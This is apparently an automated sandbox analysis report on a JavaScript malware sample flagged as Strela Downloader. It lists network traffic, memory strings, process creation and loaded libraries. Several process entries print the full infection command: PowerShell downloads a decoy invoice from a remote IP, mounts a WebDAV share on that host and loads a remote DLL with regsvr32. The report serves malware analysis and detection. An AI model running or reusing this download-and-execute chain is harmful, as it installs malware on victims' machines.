HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1266269013.000002120A97B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1268271426.000002120A985000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1341744036.0000012835A7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000003.1329351234.0000012835A7C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1341744036.0000012835A7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/_
Source: net.exe, 0000000C.00000002.1339845334.0000012835A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sce
Source: net.exe, 0000000C.00000002.1339845334.0000012835A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/uj
Source: svchost.exe, 0000000E.00000002.2558499801.00000218156A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 0000000E.00000003.1326036918.0000021815810000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7892, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 206038195771531175.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8064:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ufpzn120.fld.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\206038195771531175.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1748,i,2527639246368942575,9388210296108734514,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1748,i,2527639246368942575,9388210296108734514,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
